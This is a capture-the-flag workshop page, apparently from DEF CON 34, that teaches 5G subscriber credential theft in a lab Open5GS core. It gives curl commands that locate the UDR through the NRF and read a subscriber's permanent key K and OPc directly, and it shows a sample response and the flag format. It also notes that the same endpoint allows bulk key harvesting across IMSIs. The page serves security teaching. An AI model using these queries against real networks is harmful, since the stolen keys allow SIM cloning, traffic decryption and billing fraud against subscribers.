TELCOBREAK
Workshop · DEF CON 34
Challenge 2 · Credential Theft · MITRE FiGHT FGT5013

CH2 — Credential Theft

The UDR stores every subscriber's permanent secret key. With OAuth2 disabled, any HTTP/2 client can read it — for any subscriber.

FGT5013 · Subscriber Credential Theft 200 pts Medium UDR NRF Discovery Crown Jewel
1

What Is the UDR?

The subscriber database — and what it stores

The Unified Data Repository (UDR) is the 5G replacement for the HLR/AuC (Home Location Register / Authentication Center) from 2G/3G networks. It is a database that stores every subscriber's authentication secrets. Critically: it stores the permanent subscriber key K — the same secret burned into the physical SIM card at manufacture.

In a production deployment, the UDR is accessed exclusively by the UDM (Unified Data Management), which sits in front of it and provides a higher-level subscriber management API. Only the UDM is supposed to touch UDR authentication data — enforced by OAuth2 access tokens with specific NF-type claims. In this lab, there is no OAuth2. Any client can call the UDR directly.

This is the crown jewel of telecom security. The K key is the root of all authentication in 5G. Every session key, every encryption key, everything the 5G-AKA protocol derives — all of it is ultimately derived from K. If an attacker has K, they have everything.
2

The K Key

Why this single 32-hex-char value is the root of all telecom security
Permanent Subscriber Key
K — The Master Secret

K is a 128-bit (32 hex character) secret key shared between exactly two places: the physical SIM card and the carrier's UDR. It is generated at manufacture, burned into the SIM, stored in the UDR, and never transmitted over any network. All of 5G authentication is a proof-of-knowledge protocol — the SIM proves it knows K without revealing K. Steal K from the UDR and you can impersonate the SIM.

💾
Clone the SIM
With K and OPc, provision a software SIM that is cryptographically identical to the victim's physical card.
📢
Decrypt calls & data
Retroactively decrypt recorded radio traffic. All session keys derive from K — captured ciphertext becomes plaintext.
🔓
Bypass 5G-AKA
Generate valid 5G authentication responses (RES*) without possessing the physical SIM. The network cannot tell the difference.
💰
Bill fraud
Use the cloned SIM to make calls, use data, and send SMS — all billed to the victim subscriber.
In production: Carriers protect K with HSMs (Hardware Security Modules). K never exists in plaintext in memory or on disk. The UDR returns only derived authentication vectors, not K itself. In Open5GS, K is stored in MongoDB as plaintext and the raw API returns it directly. That is why this challenge exists.
3

The Vulnerability

OAuth2 disabled — any client can read any subscriber's K

The 3GPP specification (TS 33.501) requires that only the UDM — identified by a specific OAuth2 client credential and NF-type claim — may access the UDR's authentication subscription data. The UDR should verify the access token before returning anything. In this lab, the UDR accepts all requests without any authorization check.

🔒

Production UDR

HSM-backed, OAuth2-gated
Auth requiredOAuth2 token (UDM only)
K key storageHSM — never in plaintext
API returnsDerived auth vectors only
Direct UDR accessRejected without token
Credential theft riskNot possible via API
🔓

Your Lab UDR

Open5GS development mode
Auth requiredNone — open to all
K key storageMongoDB plaintext
API returnsRaw K key (encPermanentKey)
Direct UDR accessAccepted from any caller
Credential theft riskAll subscribers at once
4

The Attack

Two curl commands — NRF discovery then UDR credential read

This challenge builds on CH1. You use the NRF (learned in CH1) to locate the UDR, then query the UDR's authentication subscription endpoint directly using the target subscriber's IMSI. The response contains the raw K key — which is the flag.

HTTP/2 is required for both commands. Both the NRF and UDR run on the 5G SBI (Service-Based Interface), which mandates HTTP/2. Pass --http2-prior-knowledge to every curl command or you will get no response.
1

Find the UDR via NRF

Query the NRF filtering by ?nf-type=UDR to get the UDR's IP address and port. You can also find it in the full NF list from CH1 — look for "nfType": "UDR" and note the ipv4Addresses.

2

Query the authentication subscription endpoint

Call the UDR's /nudr-dr/v1/subscription-data/ endpoint with the target IMSI and path suffix /authentication-data/authentication-subscription. The response JSON contains encPermanentKey — that is the K key, and it is the flag.

Step 1 — find UDR via NRF (?nf-type=UDR)curl --http2-prior-knowledge \ "http://10.100.200.20:7777/nnrf-nfm/v1/nf-instances?nf-type=UDR" # Returns the UDR's IP — typically 10.100.200.50:7777
Step 2 — query the UDR authentication subscription endpointcurl --http2-prior-knowledge \ "http://10.100.200.50:7777/nudr-dr/v1/subscription-data/imsi-999700000000099/authentication-data/authentication-subscription"
JSON Response — with flag field highlighted
{ "authenticationMethod": "5G_AKA", "encPermanentKey": "264d496f7c8985dcd2fd002d33d9de03", <-- THIS IS THE FLAG "encOpcKey": "e8ed289deba952e4283b54e88e6183ca", "authenticationManagementField": "8000", "algorithmId": "MILENAGE", "sequenceNumber": { "sqn": "000000000000", "sqnScheme": "NON_TIME_BASED" } }
encPermanentKey IS the flag. Wrap it in TWIN{} and submit: TWIN{264d496f7c8985dcd2fd002d33d9de03} — the 32-character hex string is the subscriber's K key. The real key on your live core will differ from this example.
FieldWhat It IsImpact If Stolen
encPermanentKey K — the permanent subscriber key (128-bit / 32 hex chars) Clone SIM, decrypt all past and future sessions, bypass 5G-AKA authentication
encOpcKey OPc — operator-specific parameter (128-bit / 32 hex chars) Required alongside K for a complete SIM clone. Without OPc the clone may not generate correct auth vectors.
authenticationManagementField AMF — a 2-byte field the network uses for key separation across different services Needed to replicate full authentication vector generation; lower impact on its own.
sqn Sequence number — monotonically increasing counter to prevent replay attacks Required to avoid synchronization failures when forging authentication vectors.
5

Real World Context

SS7 MAP-SAI attacks, HSM protections, and what this reveals

This attack is not unique to 5G. Every generation of cellular network has had an equivalent vulnerability — an unauthenticated path to subscriber authentication secrets. The protocols changed; the attack class persisted.

2G / 3G / 4G Era

SS7 MAP-SAI Attack

SS7's MAP Send Authentication Info (MAP-SAI) message allowed any node on the SS7 network to query a carrier's HLR/AuC for subscriber authentication vectors — including the RAND/SRES/Kc triplets derived from Ki. No authentication between nodes. Any interconnect participant could query any carrier's subscribers. The attack was documented publicly at the Chaos Communication Congress in 2014 and is still possible on networks with SS7 interconnects today.

5G Era

UDR Direct Query

The UDR replaced the HLR/AuC. The 3GPP spec replaced SS7 with HTTP/2 and OAuth2. But the attack class is identical: bypass the authorization layer and read the subscriber's secret key from the database. In SS7 you got authentication vectors (not K directly). In an unprotected 5G UDR you get K itself — worse. The defense is the same too: enforce the authorization layer (OAuth2 in 5G, SS7 firewall in 2G/3G/4G).

Production carriers protect K with HSMs: In a real network, the K key never exists in plaintext anywhere a software API can reach it. The HSM (Hardware Security Module) is a tamper-resistant hardware device that stores K internally and only exports derived cryptographic material — never the key itself. An attacker compromising the UDR database would get encrypted blobs, not usable keys. Open5GS stores everything in MongoDB plaintext — explicitly for lab and development use.
CH5 extends this attack: The same UDR endpoint works on any IMSI in the network. CH5 asks you to enumerate a range of subscriber IMSIs and harvest all their K keys — one endpoint, every subscriber, bulk credential theft. The UDR without OAuth2 is not just a single-subscriber problem.
6

Flag Format

Where to look and what to submit
CH2 Flag Format
TWIN{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
32 lowercase hexadecimal characters inside the braces.

The flag is the value of encPermanentKey in the UDR authentication subscription JSON response for the target subscriber IMSI imsi-999700000000099.

Take the 32-char hex string, wrap it in TWIN{}, and submit. Do not include any other fields from the response — only the encPermanentKey value.
Hint — IMSI to use: The target subscriber is imsi-999700000000099. MCC 999, MNC 70 — this is the lab network's test PLMN. The IMSI is always 15 digits after the imsi- prefix. Using the wrong format returns a 400 Bad Request from the UDR.
← CH1: Service Catalog CH3: Slice Census →